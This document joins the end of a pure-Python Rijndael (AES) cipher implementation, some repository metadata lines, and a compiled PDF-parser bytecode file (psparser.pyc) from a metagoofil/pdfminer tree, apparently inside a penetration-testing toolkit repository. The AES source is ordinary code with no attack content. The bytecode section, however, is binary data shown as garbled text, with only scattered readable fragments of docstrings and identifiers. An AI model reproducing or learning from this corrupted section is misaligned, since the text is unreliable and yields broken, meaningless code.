0x43434343L, 0x44444444L, 0xc4c4c4c4L, 0xdedededeL, 0xe9e9e9e9L, 0xcbcbcbcbL, 0x54545454L, 0x7b7b7b7bL, 0x94949494L, 0x32323232L, 0xa6a6a6a6L, 0xc2c2c2c2L, 0x23232323L, 0x3d3d3d3dL, 0xeeeeeeeeL, 0x4c4c4c4cL, 0x95959595L, 0x0b0b0b0bL, 0x42424242L, 0xfafafafaL, 0xc3c3c3c3L, 0x4e4e4e4eL, 0x08080808L, 0x2e2e2e2eL, 0xa1a1a1a1L, 0x66666666L, 0x28282828L, 0xd9d9d9d9L, 0x24242424L, 0xb2b2b2b2L, 0x76767676L, 0x5b5b5b5bL, 0xa2a2a2a2L, 0x49494949L, 0x6d6d6d6dL, 0x8b8b8b8bL, 0xd1d1d1d1L, 0x25252525L, 0x72727272L, 0xf8f8f8f8L, 0xf6f6f6f6L, 0x64646464L, 0x86868686L, 0x68686868L, 0x98989898L, 0x16161616L, 0xd4d4d4d4L, 0xa4a4a4a4L, 0x5c5c5c5cL, 0xccccccccL, 0x5d5d5d5dL, 0x65656565L, 0xb6b6b6b6L, 0x92929292L, 0x6c6c6c6cL, 0x70707070L, 0x48484848L, 0x50505050L, 0xfdfdfdfdL, 0xededededL, 0xb9b9b9b9L, 0xdadadadaL, 0x5e5e5e5eL, 0x15151515L, 0x46464646L, 0x57575757L, 0xa7a7a7a7L, 0x8d8d8d8dL, 0x9d9d9d9dL, 0x84848484L, 0x90909090L, 0xd8d8d8d8L, 0xababababL, 0x00000000L, 0x8c8c8c8cL, 0xbcbcbcbcL, 0xd3d3d3d3L, 0x0a0a0a0aL, 0xf7f7f7f7L, 0xe4e4e4e4L, 0x58585858L, 0x05050505L, 0xb8b8b8b8L, 0xb3b3b3b3L, 0x45454545L, 0x06060606L, 0xd0d0d0d0L, 0x2c2c2c2cL, 0x1e1e1e1eL, 0x8f8f8f8fL, 0xcacacacaL, 0x3f3f3f3fL, 0x0f0f0f0fL, 0x02020202L, 0xc1c1c1c1L, 0xafafafafL, 0xbdbdbdbdL, 0x03030303L, 0x01010101L, 0x13131313L, 0x8a8a8a8aL, 0x6b6b6b6bL, 0x3a3a3a3aL, 0x91919191L, 0x11111111L, 0x41414141L, 0x4f4f4f4fL, 0x67676767L, 0xdcdcdcdcL, 0xeaeaeaeaL, 0x97979797L, 0xf2f2f2f2L, 0xcfcfcfcfL, 0xcecececeL, 0xf0f0f0f0L, 0xb4b4b4b4L, 0xe6e6e6e6L, 0x73737373L, 0x96969696L, 0xacacacacL, 0x74747474L, 0x22222222L, 0xe7e7e7e7L, 0xadadadadL, 0x35353535L, 0x85858585L, 0xe2e2e2e2L, 0xf9f9f9f9L, 0x37373737L, 0xe8e8e8e8L, 0x1c1c1c1cL, 0x75757575L, 0xdfdfdfdfL, 0x6e6e6e6eL, 0x47474747L, 0xf1f1f1f1L, 0x1a1a1a1aL, 0x71717171L, 0x1d1d1d1dL, 0x29292929L, 0xc5c5c5c5L, 0x89898989L, 0x6f6f6f6fL, 0xb7b7b7b7L, 0x62626262L, 0x0e0e0e0eL, 0xaaaaaaaaL, 0x18181818L, 0xbebebebeL, 0x1b1b1b1bL, 0xfcfcfcfcL, 0x56565656L, 0x3e3e3e3eL, 0x4b4b4b4bL, 0xc6c6c6c6L, 0xd2d2d2d2L, 0x79797979L, 0x20202020L, 0x9a9a9a9aL, 0xdbdbdbdbL, 0xc0c0c0c0L, 0xfefefefeL, 0x78787878L, 0xcdcdcdcdL, 0x5a5a5a5aL, 0xf4f4f4f4L, 0x1f1f1f1fL, 0xddddddddL, 0xa8a8a8a8L, 0x33333333L, 0x88888888L, 0x07070707L, 0xc7c7c7c7L, 0x31313131L, 0xb1b1b1b1L, 0x12121212L, 0x10101010L, 0x59595959L, 0x27272727L, 0x80808080L, 0xececececL, 0x5f5f5f5fL, 0x60606060L, 0x51515151L, 0x7f7f7f7fL, 0xa9a9a9a9L, 0x19191919L, 0xb5b5b5b5L, 0x4a4a4a4aL, 0x0d0d0d0dL, 0x2d2d2d2dL, 0xe5e5e5e5L, 0x7a7a7a7aL, 0x9f9f9f9fL, 0x93939393L, 0xc9c9c9c9L, 0x9c9c9c9cL, 0xefefefefL, 0xa0a0a0a0L, 0xe0e0e0e0L, 0x3b3b3b3bL, 0x4d4d4d4dL, 0xaeaeaeaeL, 0x2a2a2a2aL, 0xf5f5f5f5L, 0xb0b0b0b0L, 0xc8c8c8c8L, 0xebebebebL, 0xbbbbbbbbL, 0x3c3c3c3cL, 0x83838383L, 0x53535353L, 0x99999999L, 0x61616161L, 0x17171717L, 0x2b2b2b2bL, 0x04040404L, 0x7e7e7e7eL, 0xbabababaL, 0x77777777L, 0xd6d6d6d6L, 0x26262626L, 0xe1e1e1e1L, 0x69696969L, 0x14141414L, 0x63636363L, 0x55555555L, 0x21212121L, 0x0c0c0c0cL, 0x7d7d7d7dL, ] rcon = [ 0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000, 0x1B000000, 0x36000000, # 128-bit blocks, Rijndael never uses more than 10 rcon values ] if len(struct.pack('L',0)) == 4: # 32bit def GETU32(x): return struct.unpack('>L', x)[0] def PUTU32(x): return struct.pack('>L', x) else: # 64bit def GETU32(x): return struct.unpack('>I', x)[0] def PUTU32(x): return struct.pack('>I', x) # Expand the cipher key into the encryption key schedule. # # @return the number of rounds for the given cipher key size. def rijndaelSetupEncrypt(key, keybits): i = p = 0 rk = [0]*RKLENGTH(keybits) rk[0] = GETU32(key[0:4]) rk[1] = GETU32(key[4:8]) rk[2] = GETU32(key[8:12]) rk[3] = GETU32(key[12:16]) if keybits == 128: while 1: temp = rk[p+3] rk[p+4] = (rk[p+0] ^ (Te4[(temp >> 16) & 0xff] & 0xff000000) ^ (Te4[(temp >> 8) & 0xff] & 0x00ff0000) ^ (Te4[(temp ) & 0xff] & 0x0000ff00) ^ (Te4[(temp >> 24) ] & 0x000000ff) ^ rcon[i]) rk[p+5] = rk[p+1] ^ rk[p+4] rk[p+6] = rk[p+2] ^ rk[p+5] rk[p+7] = rk[p+3] ^ rk[p+6] i += 1 if i == 10: return (rk, 10) p += 4 rk[4] = GETU32(key[16:20]) rk[5] = GETU32(key[20:24]) if keybits == 192: while 1: temp = rk[p+5] rk[p+6] = (rk[p+0] ^ (Te4[(temp >> 16) & 0xff] & 0xff000000) ^ (Te4[(temp >> 8) & 0xff] & 0x00ff0000) ^ (Te4[(temp ) & 0xff] & 0x0000ff00) ^ (Te4[(temp >> 24) ] & 0x000000ff) ^ rcon[i]) rk[p+7] = rk[p+1] ^ rk[p+6] rk[p+8] = rk[p+2] ^ rk[p+7] rk[p+9] = rk[p+3] ^ rk[p+8] i += 1 if i == 8: return (rk, 12) rk[p+10] = rk[p+4] ^ rk[p+9] rk[p+11] = rk[p+5] ^ rk[p+10] p += 6 rk[6] = GETU32(key[24:28]) rk[7] = GETU32(key[28:32]) if keybits == 256: while 1: temp = rk[p+7] rk[p+8] = (rk[p+0] ^ (Te4[(temp >> 16) & 0xff] & 0xff000000) ^ (Te4[(temp >> 8) & 0xff] & 0x00ff0000) ^ (Te4[(temp ) & 0xff] & 0x0000ff00) ^ (Te4[(temp >> 24) ] & 0x000000ff) ^ rcon[i]) rk[p+9] = rk[p+1] ^ rk[p+8] rk[p+10] = rk[p+2] ^ rk[p+9] rk[p+11] = rk[p+3] ^ rk[p+10] i += 1 if i == 7: return (rk, 14) temp = rk[p+11] rk[p+12] = (rk[p+4] ^ (Te4[(temp >> 24) ] & 0xff000000) ^ (Te4[(temp >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(temp >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(temp ) & 0xff] & 0x000000ff)) rk[p+13] = rk[p+5] ^ rk[p+12] rk[p+14] = rk[p+6] ^ rk[p+13] rk[p+15] = rk[p+7] ^ rk[p+14] p += 8 raise ValueError(keybits) # Expand the cipher key into the decryption key schedule. # # @return the number of rounds for the given cipher key size. def rijndaelSetupDecrypt(key, keybits): # expand the cipher key: (rk, nrounds) = rijndaelSetupEncrypt(key, keybits) # invert the order of the round keys: i = 0 j = 4*nrounds while i < j: temp = rk[i ]; rk[i ] = rk[j ]; rk[j ] = temp temp = rk[i + 1]; rk[i + 1] = rk[j + 1]; rk[j + 1] = temp temp = rk[i + 2]; rk[i + 2] = rk[j + 2]; rk[j + 2] = temp temp = rk[i + 3]; rk[i + 3] = rk[j + 3]; rk[j + 3] = temp i += 4 j -= 4 # apply the inverse MixColumn transform to all round keys but the first and the last: p = 0 for i in xrange(1, nrounds): p += 4 rk[p+0] = ( Td0[Te4[(rk[p+0] >> 24) ] & 0xff] ^ Td1[Te4[(rk[p+0] >> 16) & 0xff] & 0xff] ^ Td2[Te4[(rk[p+0] >> 8) & 0xff] & 0xff] ^ Td3[Te4[(rk[p+0] ) & 0xff] & 0xff]) rk[p+1] = ( Td0[Te4[(rk[p+1] >> 24) ] & 0xff] ^ Td1[Te4[(rk[p+1] >> 16) & 0xff] & 0xff] ^ Td2[Te4[(rk[p+1] >> 8) & 0xff] & 0xff] ^ Td3[Te4[(rk[p+1] ) & 0xff] & 0xff]) rk[p+2] = ( Td0[Te4[(rk[p+2] >> 24) ] & 0xff] ^ Td1[Te4[(rk[p+2] >> 16) & 0xff] & 0xff] ^ Td2[Te4[(rk[p+2] >> 8) & 0xff] & 0xff] ^ Td3[Te4[(rk[p+2] ) & 0xff] & 0xff]) rk[p+3] = ( Td0[Te4[(rk[p+3] >> 24) ] & 0xff] ^ Td1[Te4[(rk[p+3] >> 16) & 0xff] & 0xff] ^ Td2[Te4[(rk[p+3] >> 8) & 0xff] & 0xff] ^ Td3[Te4[(rk[p+3] ) & 0xff] & 0xff]) return (rk, nrounds) def rijndaelEncrypt(rk, nrounds, plaintext): assert len(plaintext) == 16 # map byte array block to cipher state # and add initial round key: s0 = GETU32(plaintext[0:4]) ^ rk[0] s1 = GETU32(plaintext[4:8]) ^ rk[1] s2 = GETU32(plaintext[8:12]) ^ rk[2] s3 = GETU32(plaintext[12:16]) ^ rk[3] # nrounds - 1 full rounds: r = nrounds >> 1 p = 0 while 1: t0 = ( Te0[(s0 >> 24) ] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[(s3 ) & 0xff] ^ rk[p+4]) t1 = ( Te0[(s1 >> 24) ] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[(s0 ) & 0xff] ^ rk[p+5]) t2 = ( Te0[(s2 >> 24) ] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[(s1 ) & 0xff] ^ rk[p+6]) t3 = ( Te0[(s3 >> 24) ] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[(s2 ) & 0xff] ^ rk[p+7]) p += 8 r -= 1 if r == 0: break s0 = ( Te0[(t0 >> 24) ] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[(t3 ) & 0xff] ^ rk[p+0]) s1 = ( Te0[(t1 >> 24) ] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[(t0 ) & 0xff] ^ rk[p+1]) s2 = ( Te0[(t2 >> 24) ] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[(t1 ) & 0xff] ^ rk[p+2]) s3 = ( Te0[(t3 >> 24) ] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[(t2 ) & 0xff] ^ rk[p+3]) ciphertext = '' # apply last round and # map cipher state to byte array block: s0 = ( (Te4[(t0 >> 24) ] & 0xff000000) ^ (Te4[(t1 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t2 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t3 ) & 0xff] & 0x000000ff) ^ rk[p+0]) ciphertext += PUTU32(s0) s1 = ( (Te4[(t1 >> 24) ] & 0xff000000) ^ (Te4[(t2 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t3 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t0 ) & 0xff] & 0x000000ff) ^ rk[p+1]) ciphertext += PUTU32(s1) s2 = ( (Te4[(t2 >> 24) ] & 0xff000000) ^ (Te4[(t3 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t0 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t1 ) & 0xff] & 0x000000ff) ^ rk[p+2]) ciphertext += PUTU32(s2) s3 = ( (Te4[(t3 >> 24) ] & 0xff000000) ^ (Te4[(t0 >> 16) & 0xff] & 0x00ff0000) ^ (Te4[(t1 >> 8) & 0xff] & 0x0000ff00) ^ (Te4[(t2 ) & 0xff] & 0x000000ff) ^ rk[p+3]) ciphertext += PUTU32(s3) assert len(ciphertext) == 16 return ciphertext def rijndaelDecrypt(rk, nrounds, ciphertext): assert len(ciphertext) == 16 # map byte array block to cipher state # and add initial round key: s0 = GETU32(ciphertext[0:4]) ^ rk[0] s1 = GETU32(ciphertext[4:8]) ^ rk[1] s2 = GETU32(ciphertext[8:12]) ^ rk[2] s3 = GETU32(ciphertext[12:16]) ^ rk[3] # nrounds - 1 full rounds: r = nrounds >> 1 p = 0 while 1: t0 = ( Td0[(s0 >> 24) ] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[(s1 ) & 0xff] ^ rk[p+4]) t1 = ( Td0[(s1 >> 24) ] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[(s2 ) & 0xff] ^ rk[p+5]) t2 = ( Td0[(s2 >> 24) ] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[(s3 ) & 0xff] ^ rk[p+6]) t3 = ( Td0[(s3 >> 24) ] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[(s0 ) & 0xff] ^ rk[p+7]) p += 8 r -= 1 if r == 0: break s0 = ( Td0[(t0 >> 24) ] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[(t1 ) & 0xff] ^ rk[p+0]) s1 = ( Td0[(t1 >> 24) ] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[(t2 ) & 0xff] ^ rk[p+1]) s2 = ( Td0[(t2 >> 24) ] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[(t3 ) & 0xff] ^ rk[p+2]) s3 = ( Td0[(t3 >> 24) ] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[(t0 ) & 0xff] ^ rk[p+3]) plaintext = '' # apply last round and # map cipher state to byte array block: s0 = ( (Td4[(t0 >> 24) ] & 0xff000000) ^ (Td4[(t3 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t2 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t1 ) & 0xff] & 0x000000ff) ^ rk[p+0]) plaintext += PUTU32(s0) s1 = ( (Td4[(t1 >> 24) ] & 0xff000000) ^ (Td4[(t0 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t3 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t2 ) & 0xff] & 0x000000ff) ^ rk[p+1]) plaintext += PUTU32(s1) s2 = ( (Td4[(t2 >> 24) ] & 0xff000000) ^ (Td4[(t1 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t0 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t3 ) & 0xff] & 0x000000ff) ^ rk[p+2]) plaintext += PUTU32(s2) s3 = ( (Td4[(t3 >> 24) ] & 0xff000000) ^ (Td4[(t2 >> 16) & 0xff] & 0x00ff0000) ^ (Td4[(t1 >> 8) & 0xff] & 0x0000ff00) ^ (Td4[(t0 ) & 0xff] & 0x000000ff) ^ rk[p+3]) plaintext += PUTU32(s3) assert len(plaintext) == 16 return plaintext # decrypt(key, fin, fout, keybits=256) class RijndaelDecryptor(object): """ >>> key = '00010203050607080a0b0c0d0f101112'.decode('hex') >>> ciphertext = 'd8f532538289ef7d06b506a4fd5be9c9'.decode('hex') >>> RijndaelDecryptor(key, 128).decrypt(ciphertext).encode('hex') '506812a45f08c889b97f5980038b8359' """ def __init__(self, key, keybits=256): assert len(key) == KEYLENGTH(keybits) (self.rk, self.nrounds) = rijndaelSetupDecrypt(key, keybits) assert len(self.rk) == RKLENGTH(keybits) assert self.nrounds == NROUNDS(keybits) return def decrypt(self, ciphertext): assert len(ciphertext) == 16 return rijndaelDecrypt(self.rk, self.nrounds, ciphertext) # encrypt(key, fin, fout, keybits=256) class RijndaelEncryptor(object): """ >>> key = '00010203050607080a0b0c0d0f101112'.decode('hex') >>> plaintext = '506812a45f08c889b97f5980038b8359'.decode('hex') >>> RijndaelEncryptor(key, 128).encrypt(plaintext).encode('hex') 'd8f532538289ef7d06b506a4fd5be9c9' """ def __init__(self, key, keybits=256): assert len(key) == KEYLENGTH(keybits) (self.rk, self.nrounds) = rijndaelSetupEncrypt(key, keybits) assert len(self.rk) == RKLENGTH(keybits) assert self.nrounds == NROUNDS(keybits) return def encrypt(self, plaintext): assert len(plaintext) == 16 return rijndaelEncrypt(self.rk, self.nrounds, plaintext) if __name__ == '__main__': import doctest doctest.testmod()
47,510
Python
.py
1,027
41.206426
89
0.726501
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,820
psparser.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/pdfminer/psparser.pyc
—Ú Œ »Mc@sÀddkZddkZddklZdZdefdÑÉYZdefdÑÉYZdefd ÑÉYZd efd ÑÉYZ d efd ÑÉYZ de fdÑÉYZ de fdÑÉYZ de fdÑÉYZde fdÑÉYZee ÉZeeÉZeiZeiZedÉZedÉZedÉZedÉZedÉZedÉZdÑZdÑZeidÉZeidÉZeid ÉZ eid!ÉZ!eid"ÉZ"eid#ÉZ#eid$ÉZ$eid%ÉZ%eid"ÉZ&eid&ÉZ'eid'ÉZ(hd(d)6d*d+6d,d-6d.d/6d0d16d2d36d4d56d6d76Z)d8e fd9ÑÉYZ*d:e*fd;ÑÉYZ+ddk,Z,d<e,i-fd=ÑÉYZ.e/d>joe,i0ÉndS(?iˇˇˇˇN(tchoplistit PSExceptioncBseZRS((t__name__t __module__(((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyR stPSEOFcBseZRS((RR(((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyR st PSSyntaxErrorcBseZRS((RR(((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyR st PSTypeErrorcBseZRS((RR(((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyRst PSValueErrorcBseZRS((RR(((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyRstPSObjectcBseZdZRS(s0Base class for all PS or PDF-related data types.(RRt__doc__(((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyRst PSLiteralcBs eZdZdÑZdÑZRS(seA class that represents a PostScript literal. Postscript literals are used as identifiers, such as variable names, property names and dictionary keys. Literals are case sensitive and denoted by a preceding slash sign (e.g. "/Name") Note: Do not create an instance of PSLiteral directly. Always use PSLiteralTable.intern(). cCs ||_dS(N(tname(tselfR ((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyt__init__-s cCs d|iS(Ns/%s(R (R ((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyt__repr__1s(RRR R R(((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyR s  t PSKeywordcBs eZdZdÑZdÑZRS(sVA class that represents a PostScript keyword. PostScript keywords are a dozen of predefined words. Commands and directives in PostScript are expressed by keywords. They are also used to denote the content boundaries. Note: Do not create an instance of PSKeyword directly. Always use PSKeywordTable.intern(). cCs ||_dS(N(R (R R ((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyR Cs cCs|iS(N(R (R ((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyRGs(RRR R R(((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyR7s  t PSSymbolTablecBs eZdZdÑZdÑZRS(sÉA utility class for storing PSLiteral/PSKeyword objects. Interned objects can be checked its identity with "is" operator. cCsh|_||_dS(N(tdicttklass(R R((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyR Ts  cCsA||ijo|i|}n|i|É}||i|<|S(N(RR(R R tlit((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pytinternYs  (RRR R R(((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyRMs t{t}t[t]s<<s>>cCs@t|tÉp)totd|ÉÇq9t|ÉSn|iS(NsLiteral required: %r(t isinstanceR tSTRICTRtstrR (tx((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyt literal_namems cCs@t|tÉp)totd|ÉÇq9t|ÉSn|iS(NsKeyword required: %r(RRRRRR (R((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyt keyword_nameus s[\r\n]s\ss\Ss [0-9a-fA-F]s[#/%\[\]()<>{}\s]s[^\s0-9a-fA-F]s[0-9a-fA-F]{2}|.s[^0-9]s[()\134]s[0-7]itbi tti tni tfi tri(t(i)t)i\s\t PSBaseParsercBs¯eZdZdZdZdÑZdÑZdÑZdÑZdÑZ ddd ÑZ d ÑZ d ÑZ d ÑZd ÑZdÑZdÑZdÑZdÑZdÑZdÑZdÑZdÑZdÑZdÑZdÑZdÑZdÑZdÑZRS(sBMost basic PostScript parser that performs only tokenization. iicCs||_|idÉdS(Ni(tfptseek(R R'((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyR îs  cCsd|ii|i|ifS(Ns<%s: %r, bufpos=%d>(t __class__RR'tbufpos(R ((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyRôscCsdS(N((R ((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pytflushúscCs|iÉdS(N(R+(R ((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pytcloseüs cCs|i|iS(N(R*tcharpos(R ((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyttell£siPcCsq|iiÉ}|p|i|i}n|ii|Étid||ii|ÉfIJ|ii|ÉdS(Ns poll(%d): %r(R'R.R*R-R(tsyststderrtread(R tposR!tpos0((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pytpoll¶s#cCs{d|ijotid|IJn|ii|É||_d|_d|_|i|_ d|_ d|_ g|_ dS(s0Seeks the parser to the given position. isseek: %rtiN( tdebugR/R0R'R(R*tbufR-t _parse_maint_parse1t _curtokent _curtokenpost_tokens(R R2((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyR(Øs       cCso|it|iÉjodS|iiÉ|_|ii|iÉ|_|iptdÉÇnd|_dS(NsUnexpected EOFi( R-tlenR7R'R.R*R1tBUFSIZR(R ((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pytfillbuf¿s  cCsAd}|i|i}t}xÍ|iÉ|o?|i|i}|djo||7}|id7_nPnti|i|iÉ}|oR||i|i|idÉ!7}|idÉ|_|ddjo t}qPq||i|i7}t |iÉ|_qd|i jot i d||ffIJn||fS( s<Fetches a next line that ends either with \r or \n. R5s iiiˇˇˇˇs is nextline: %r( R*R-tFalseR?R7tEOLtsearchtendtTrueR=R6R/R0(R tlinebuftlineposteoltctm((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pytnextline s.     ccsÔ|iiddÉ|iiÉ}d}x¿d|jo≤|}td||iÉ}|ii|É|ii||É}|pPnx]t|idÉ|idÉÉ}|djo||}Pn|||V|| }d}qâq+WdS(siFetches a next line backword. This is used to locate the trailers at the end of a file. iiR5s s iˇˇˇˇN(R'R(R.tmaxR>R1trfind(R R2R7tprevpostsR!((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyt revreadlinesËs( !    cCs⁄ti||É}|p t|ÉS|idÉ}||}|i||_|djod|_|i|_|dS|djod|_|i |_|dS|djp |i Éo||_|i |_|dS|djo||_|i |_|dS|i Éo||_|i|_|dS|djo'd|_d|_|i|_|dS|d jod|_|i|_|dS|d jod|_|i|_|dS|it|ÉÉ|dSdS( Nit%it/R5s-+t.R$t<t>(tNONSPCRBR=tstartR*R;R:t_parse_commentR9t_parse_literaltisdigitt _parse_numbert _parse_floattisalphat_parse_keywordtparent _parse_stringt _parse_wopent _parse_wcloset _add_tokentKWD(R RNtiRItjRH((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyR8sR                                  cCs|ii|i|fÉdS(N(R<tappendR;(R tobj((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyRb,scCsuti||É}|p'|i||7_|it|ÉfS|idÉ}|i|||!7_|i|_|S(Ni(RARBR:RWR=RVR8R9(R RNRdRIRe((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyRW0s cCs∑ti||É}|p|i||7_t|ÉS|idÉ}|i|||!7_||}|djod|_|i|_|dS|it |iÉÉ|i |_|S(Nit#R5i( t END_LITERALRBR:R=RVthext_parse_literal_hexR9RbtLITR8(R RNRdRIReRH((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyRX<s       cCsá||}ti|Éo.t|iÉdjo|i|7_|dS|io%|itt|idÉÉ7_n|i|_|S(Niii( tHEXtmatchR=RjR:tchrtintRXR9(R RNRdRH((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyRkLs &  % cCs◊ti||É}|p|i||7_t|ÉS|idÉ}|i|||!7_||}|djo$|i|7_|i|_|dSy|it|iÉÉWnt j onX|i |_|S(NiRRi( t END_NUMBERRBR:R=RVR[R9RbRpt ValueErrorR8(R RNRdRIReRH((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyRZVs"      cCsúti||É}|p|i||7_t|ÉS|idÉ}|i|||!7_y|it|iÉÉWntj onX|i|_ |S(Ni( RqRBR:R=RVRbtfloatRrR8R9(R RNRdRIRe((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyR[is  cCsºti||É}|p|i||7_t|ÉS|idÉ}|i|||!7_|idjo t}n*|idjo t}nt|iÉ}|i|É|i |_ |S(Nittruetfalse( t END_KEYWORDRBR:R=RVRDR@RcRbR8R9(R RNRdRIRettoken((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyR]ws     cCs+ti||É}|p|i||7_t|ÉS|idÉ}|i|||!7_||}|djod|_|i|_|dS|djo'|id7_|i|7_|dS|djo5|id8_|io|i|7_|dSn|i |iÉ|i |_|dS(Nis\R5iR$R%( t END_STRINGRBR:R=RVtoctt_parse_string_1R9R^RbR8(R RNRdRIReRH((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyR_às.            cCs¬||}ti|Éo.t|iÉdjo|i|7_|dS|io2|itt|idÉÉ7_|i|_|S|t jo|itt |É7_n|i|_|dS(Niii( t OCT_STRINGRnR=RyR:RoRpR_R9t ESC_STRING(R RNRdRH((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyRz°s &  !   cCsN||}|djo'|itÉ|i|_|d7}n |i|_|S(NRSi(RbtKEYWORD_DICT_BEGINR8R9t_parse_hexstring(R RNRdRH((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyR`Øs     cCsB||}|djo|itÉ|d7}n|i|_|S(NRTi(RbtKEYWORD_DICT_ENDR8R9(R RNRdRH((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyRaπs     cCsùti||É}|p|i||7_t|ÉS|idÉ}|i|||!7_tidÑtid|iÉÉ}|i|É|i |_ |S(NicSstt|idÉdÉÉS(ii(RoRptgroup(RI((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyt<lambda>»sR5( tEND_HEX_STRINGRBR:R=RVtHEX_PAIRtsubtSPCRbR8R9(R RNRdRIReRw((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyR~¡s    cCsux4|ip)|iÉ|i|i|iÉ|_qW|iidÉ}d|ijotid|fIJn|S(Niis nexttoken: %r( R<R?R9R7R-tpopR6R/R0(R Rw((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyt nexttokenŒs   N(RRR R>R6R RR+R,R.tNoneR4R(R?RJROR8RbRWRXRkRZR[R]R_RzR`RaR~Rá(((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyR&ås6         ,         t PSStackParsercBskeZdÑZdÑZdÑZdÑZdÑZdÑZdÑZdÑZ dÑZ d ÑZ d ÑZ RS( cCsti||É|iÉdS(N(R&R treset(R R'((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyR ‹s cCs(g|_d|_g|_g|_dS(N(tcontextRàtcurtypetcurstacktresults(R ((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyRä·s     cCsti||É|iÉdS(N(R&R(Rä(R R2((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyR(Ës cGs|ii|ÉdS(N(Rçtextend(R tobjs((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pytpushÌscCs |i| }g|i| )|S(N(Rç(R R!Rê((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pyRÜÒscCs|i}g|_|S(N(Rç(R Rê((s;/pentest/enumeration/google/metagoofil/pdfminer/psparser.pytpopallˆs  cGs<d|ijotid|fIJn|ii|ÉdS(Nisadd_results: %r(R6R/R0RéRè(R 